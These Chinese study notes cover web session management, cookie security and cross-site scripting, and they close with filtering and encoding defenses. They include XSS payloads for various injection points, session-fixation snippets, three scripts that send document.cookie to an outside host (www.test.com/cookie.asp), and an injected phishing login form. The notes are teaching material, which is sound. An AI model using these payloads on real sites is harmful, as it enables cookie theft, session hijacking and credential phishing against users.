会话管理
Web会话管理概述
- 为什么需要会话管理
因为HTTP协议是无状态的,在一次请求结束,服务器和客户端的连接将会断开,服务器将不在收到请求,无法识别这个连接是属于哪个客户的。所以为了辨别访问的用户,需要会用户的身份进行记录。会话管理就是为此诞生的。
- Web会话的管理方式
Web会话的管理方式有三种分别是:Cookie、Session、Token
Session管理方式
认证过程
- 服务器在接收到用户第一次访问应用时,服务器会创建一个对象
- 服务器并为每个session都分配一个唯一的sessionid
- 服务器在创建完session后,会把sessionid通过cookie返回给用户所在的浏览器
- 当用户第二次访问浏览器发送请求时,就会通过cookie把sessionid传回给服务器
- 用户再次请求,服务器能够根据sessionid找到与该用户对应的session信息
图例
session验证时的代码逻辑
相关问题
- Session会将会话信息存放在Web服务器中,用户体量如果太多时,会占用大量的内存
- 在应用采用集群部署时,会遇到多台Web服务器之间如何共享session的问题
- 多个应用要共享session时,会遇到跨域问题
关于Session的攻击
- 目的
首先通过捕捉或者固定合法用户的session,然后冒充该用户来访问系统
- 攻击方式
预测、劫持、固定
- 认证凭证预测
原理:预测需要攻击者猜测处系统中使用的有效的session标识符,类似暴力破解
防护:通过代码生成随机的sessionid复杂且难以猜测出来
- 会话劫持
含义:
通过窃取合法用户的Sessionid后,使用该SessionID登录目标账号的攻击方式。会话劫持最重要的部分是取得一个合法的会话标识来伪装成合法用户
攻击步骤:
- 目标用户需要先登录目标站点
- 登录成功后,该用户会得到站点提供的一个会话标识SessionID
- 攻击者通过某种攻击手段捕获SessionID
- 攻击者通过捕获的Session ID访问站点即可获得目标用户合法会话
获取SessionID的方式:
- 暴力破解:尝试各种SessionID,直到破解
- 预测:如果SessionID使用非随机的方式产生,就有可能计算出来
- 窃取:使用网络嗅探,XSS攻击等方法获得
XSS攻击:
正文名:跨站脚本攻击
原理:攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码
作用:主要对受害者采用Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击
中间人攻击:
中间人(MITM):攻击者将自己放在两方之间,通常时客户端和服务端通信线路的中间。通过破环原始频道之后拦截乙方的消息并将他们转发给另一方来实现
条件:攻击者必须介于两者之间,处于统一网络环境内
场景:同一局域网中
- 会话固定
会话固定:诱使受害者使用攻击者指定的会话标识(SessionID)的攻击手段。是获取合法会话标识的最简单的方法
攻击步骤:
- 攻击者可以通过访问目标服务器获取SessionID后
- 攻击者通过某种手段重置目标用户的SessionID为攻击者获取的SessionID,然后监听用户会话状态
- 目标用户携带攻击者设定的Session ID登录站点
- 攻击者通过Session ID获得合法会话
重置Cookie的方式
- 使用客户端脚本来设置Cookie到浏览器
-
<secipt> document.cookie='PHPSESSID=99999';</script>
-
- HTML的标签加Set-Cookie属性
-
<meta heep-equiv='Set-Cookie' content='PHPSESSID=23333'>
-
防御方案:开启Httponly阻止攻击者读取Cookie
Cookie管理方式
Cookie基础
Cookie是由HTTP服务器设置的
Cookie信息保存在浏览器中
- Cookie的作用
- Cookie最大作用维持会话的凭证
- 减少登录网站的次数
- 记录关于用户信息
- Cookie的逻辑
- 浏览器向服务器发送HTTP请求
- 服务器在响应包中使用Set-cookie为浏览器来设置Cookie
- 浏览器在请求包带入Cookie访问服务器
- 服务器返回浏览器请求的内容
- Cookie的操作
浏览器通过Document对象访问Cookie
若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie即可:cookieName=cookieValue;expirationdate;path
Cookie和Session最大区别
Cookie保存在本地浏览器中
Session保存在web服务器中
认证过程
- 用户通过浏览器向服务器发送登录使用的用户名和密码
- 服务器收到后,对用户名和密码进行验证,成功后将登录凭证做数字签名,加密后写入cookie中返回给用户:cookie:ticket=xxxyy
- 浏览器在收到cookie后保存到本地
- 在用户再次访问服务器时,需要带上本地cookie去访问服务器,服务器拿到name为ticket的cookie后,做解密和签名认证后,拿到其中的登录凭证,判断起有效性
- 如果有效则允许用户访问
相关问题
- 实现了服务端无状态化
- cookie有大小限制,存储不了太多数据
- 每次传送cookie,增加了请求的数量,对访问性能也有影响
- 同样存在跨域问题(不同域名无法相互读取cookie)
Cookie安全
- Cookie字段
[name][value][domain][path][expires][httponly][secure]
名称、值、域名、相对根路径、过期时间、是否有httponly标志、是否有secure标志
- 子域Cookie
domain字段,设置cookie时如不指定则默认是本域。
例如www.360.com通过javaScript设置一个cookie:document.cookie="test=1"
例如www.360.com通过javaScript设置一个父域:document.cookie="test=1;domain=360.com"
- 路径Cookie
path字段,设置cookie时如不指定则默认是当前页面路径。
例如www.360.com/admin/index.php页面设置一个cookie:document.cookie="test=1"
- Path值是/admin/
- 只有该/admin/径下的页面才能读取到该cookie
- HttpOnly
- HttpOnly是Cookie的一种属性
- 指示浏览器不要再除HTTP(和HTTPS)请求之外暴露Cookie
- PHP setCookie()最后一项
- 相关函数
setcookie():函数向客户端发送一个HTTP cookie
参数 | 描述 |
name | 必需。规定cookie的名称 |
value | 必需。规定cookie的值 |
expire | 可选。规定cookie的有效期 |
path | 可选。规定cookie的服务器路径 |
domain | 可选。规定cookie的域名 |
secure | 可选。规定是否通过安全的HTTPS连接来传输cookie |
httponly | 可选。开启httponly |
- 读取HttpOnly的方法
phpinfo():
漏洞:
举个例子说,CVE-2012-0053是Apache服务器2.2.0-2.2.21版本存在一个漏洞攻击者可通过给网站植入超大的Cookie,是的HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,并在返回信息中包含了http-only cookies。
- Cookie的存储和分类
存储方式与过期时间(expires)相关
内存COOKIE:没设置过期时间,则是内存Cookie,浏览器关闭cookie失效
本地COOKIE:设置了时间点,cookie会以文本的形式保存再系统本地
XSS
什么是XSS
- 漏洞原理:
- 跨站脚本:由于Web应用程序对用户的输入过滤不足而产生的。
- 利用方式:
- 攻击者利用网站漏洞把恶意的脚本代码(HTML代码/JavaScript脚本)注入到网页之中
- 当其他用户浏览这些网页时,就会执行其中的恶意代码
- 危害
- 主要可以对用户Cookie资料窃取、会话劫持、钓鱼欺骗等攻击
- 攻击流程
- 攻击者对服务器发起XSS攻击并注入JS代码
- 其他用户访问被攻击服务器上上传JS代码的页面
- 攻击者就可以获取访问用户的信息等、
- XSS漏洞可能存在的位置
- 任何用户输入的数据被回显的位置
- POST/GET上传的用户名密码等
- 文本输入框
- 留言板
- 订单
- 任何用户输入的数据被回显的位置
跨站脚本的分类
反射型XSS、存储型XSS、DOM型XSS
反射型XSS
- 反射型跨站脚本(非持久型、参数型跨站脚本):主要用于将恶意脚本附加到URL地址的参数
- 例:http://127.0.0.1/XSS.php?name=
- 攻击原理
- 攻击者通过Email、钓鱼网站等让受害者点击钓鱼网站
- 受害者用带有JS代码访问目标服务器
- 服务器做出响应并将带有JS代码的内容返回
- 受害者浏览器将返回的JS代码响应内容执行
- 攻击者就可以获取想要获取的内容
可以对JS代码进行HTML编码转换可以绕过一定的防护,恶意代码经过编码处理后会打打增强起迷惑性
持续型XSS
- 持久型跨站脚本(存储型跨站脚本):此XSS不需要用户点击进入特定的URL就能执行跨站脚本。攻击者实现将恶意脚本上传或存储到服务器的数据库中。当受害者浏览包含此恶意代码的页面就会执行恶意代码
- 攻击原理
- 攻击者直接恶意代码注入到服务器中
- 当受害者对目标网站被注入的页面进行访问时
- 服务器将带有JS脚本的内容发送到受害者浏览器中
- 浏览器对JS脚本进行执行,完成XSS攻击
DOM型XSS
- DOM树
DOM会将XML文件的节点构建成树状结构,以此反映XML文件本身的阶层结构
- 节点
文档是由节点构成的集合,在DOM里存在许多不同类型的节点,主要分为3种:元素节点、文本节点、属性节点
- 元素节点
- body、p、ul之类的元素在文档中的布局形成了文档的结构,它们就是元素节点。
- 文本节点
-
文档通常会包含一些内容,这些内容多数由文本提供,如前面的例子中,
包含着文本"欢迎购买",他就是一个文本节点
-
- 属性节点
-
元素或多或少都有一些属性,属性用于对元素做出更具体地描述
-
蓝色的<p>标签为元素节点、红色为文本节点以及属性class就是属性节点
- 攻击原理
客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端地数据,从客户端获得DOM地数据并在本地执行。
常见攻击脚本类型
- <script>语句
- 事件:JS与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数。事件能够说明用户何时做了某件事情或页面何时加载完毕,W3C将事件分为3个不同的类型
//用户接口(鼠标、键盘)
<input type="button" value="click me" onclick="alert('click me')" />
//逻辑(处理的结果)
<img src="#" onerror=alert('xss')>
//变化(对文档进行修改)
<input infocus="alert('xss')">
常见漏洞注入点
- HTML标签之间
例:<div id="body">输出</div>
payload:<script>alert(xss)</script>
- <title>(<xmp>、<iframe>)输出</title>(</xmp>、</iframe>)
<title>(<xmp>、<iframe>)输出</title>(</xmp>、</iframe>)
//<tilte>之间的js代码无法直接执行,需要闭合
payload:</title><script>alert(xss)</script>//
- <input type="text" value="输出">
payload1:" onmouseover=alert(1)
payload2:"><script>alert(xss)</script>
- 当type属性为hidden时且value属性在type之后,该标签被隐藏不在页面显示,所以闭合属性就不在适用了
- 在html网页中如果同时出现两个type属性以第一个为准
- 输出在src/href/action等属性内
例:<a href="输出">click me</a>
payload:javascript:alert(1)
直接为XSS攻击提供了herf标签
- 输出在on*事件内
例:<a href="#" onclick="eval('输出')">click me</a>
payload:alert(1)
- 在JS代码内
payload1:</script><script>alert(1)//
payload2:";alert(1);
XSS攻击
- 获取客户端Cookie信息
<script>document.location="http://www.test.com/cookie.asp?cookie="+document.cookie</script>
<script>new Image().src="http://www.test.com/cookie.asp?cookie="+document.cookie</script>
<script>document.write('<img src="http://www.test.com/cookie.asp?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
- 文件操作函数
fopen("cookie.txt","a"); //以写入方式打开cookie.txt
fwrite($log,$cookie."\n"); //将$cookie变量的内容写入文件指针$log处
fclose($log); //关闭已经打开的$log指针
- 网络钓鱼
网络钓鱼是一种利用网络进行诈骗的手段。主要通过对受害者心里弱点、好奇心、信任度等心里陷阱来实现诈骗。属于社工的一种
例:<a href = "http://www.a.com">http://www.b.com</a>:受害者想要访问b网站但是点击b网站后却跳转到黑客想要让访问的a网站,这就是钓鱼攻击
XSS重定向钓鱼
将正常用户访问重定向到恶意网站
将恶意网站和正常访问的网站伪造一样
例:
假设www.bug.com上有一处XSS
http://www.bug.com/index.php?search=【Expliot】 Exploit: http://www.bug.com/index.php?search="'>
通过'和>对前面的语句进行闭合然后通过document.location.href跳转到恶意网站
HTML注入式钓鱼
HTML注入式钓鱼是指直接利用XSS漏洞注入HTML/JavaScript代码到页面中。
例:
http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" action="phishing.php" name="form"><br /><br />Login:<br /><input name-"login" /><br />Password:<br /><input name="Password" type="password" /><br /><br /><input name="Valid" value="OK" type="submit" /><br /></from></div></body></html>
在XSS注入点中注入一个完整的HTML/JS代码来获取用户的账号密码等信息,代码在正常页面中嵌入一个Form表单,相应的利用代码附加到URL处,然后狗仗处一个登录表单该表单可以覆盖原页面显示,强迫用户输入账号和密码等信息
XSS防御
为了防御跨站脚本会在Web应用中设计一个XSS Filter(跨站脚本过滤器),用来分析用户提交的输入,并消除潜在的XSS、恶意HTML和简单的HTML格式错误
XSS Filter
XSS Filter的作用是过滤用户提交的有害信息,从人达到防范XSS攻击的效果。XSS Filter作为防御跨站攻击的主要攻击手段之一
- 过滤方式
Input Filtering(输入端过滤)和Output Filtering(输出端过滤)
输入过滤
- 过滤方向
输入过滤和数据消毒
- 常见的检测和过滤
- 输入是否仅仅包含合法的字符
- 输入字符串是否超过最大长度限制
- 输入如果为数字,数字是否在指定的范围
- 输入是否符合特殊的格式要求,如E-mail等
- 对重要敏感的信息,放在服务器端进行传参和校验等操作
- 数据消毒
过滤< 、 > 、 ' 、 "等敏感字符
- 缺点
无法过滤已经存储到数据库中的恶意脚本
输出过滤
- 对输出的内容进行HTML编码
将一个字符串输出到Web网页时,为了确保输出内容的完整性和正确性,对其使用编码(HTMLEncode)进行处理
显示 | 实体名字 | 实体编号 |
> | < | < |
> | > | |
& | & | & |
" | " | " |
- htmlspecialchars()可以将以下五种HTML特殊字符转化字符实体编码:
- ' == <
- " == >
- & == &
- " == "
- ' == '
- 缺点
对输出的所有字符进行检测,较占用资源
服务端过滤
输入过滤
在数据存进数据库之前便对特殊的字符进行转义,方便简洁,顺手可以把SQL注入等漏洞一并检测。
- 缺点
无法处理之前已经存在与数据库中的恶意代码
输出过滤
在数据输出之前对部分敏感字符进行转义,能有效保持数据的完整性
- 缺点
必须对每一个细节的输出仔细过滤,因此会带来额外的工作量
两种结合使用
攻击者绕过一层防护也会被第二层防护的可能性很大
Web安全编码规范
- body文本
把能够触发XSS的字符用相应的HTML实体替换
- HTML标签中的内容
一些HTML标签如<input>、<style>、<color>等的属性值可能为动态内容,该情况下常存在XSS威胁。攻击者可以尝试使用>、"等字符对该标签进行闭合后创建一个恶意脚本实施XSS攻击
- 将可以触发XSS的字符进行HTML实体替换
- <script></script>中的内容
这样的输入环境为攻击者提供了植入恶意脚本的环境,攻击者不需要再考虑
- 尽量避免或减少再JS上下文中使用动态内容,稍有不慎就会导致XSS攻击
- 攻击者可能会使用/**/等JS注释进行恶意利用,将这些字符进行过滤
- JS事件
XSS代码防护
将动态内容据处于HTML上下文中,又处于JavaScript上下文中,从浏览器解析顺序来看,应该先从字符进行HTML转义,再进行JS转义
- JS出现在HTML中,JS可以进行HTML编码
- 进制编码:&#xH; 、 &#D
- HTML实体编码
- 输入内容出现在JS中,需要遵循JS编码
- Unicode:\uH
- 普通十六进制:\xH
- 转义:将特殊字符前加\转义
- JS执行前或自动解码
- 具备htmlEncode功能的标签
- <title>
- <iframe>
- <noscript>
- <noframes>
- 解码顺序
HTML解码 - URL解码 - JS(unicode)解码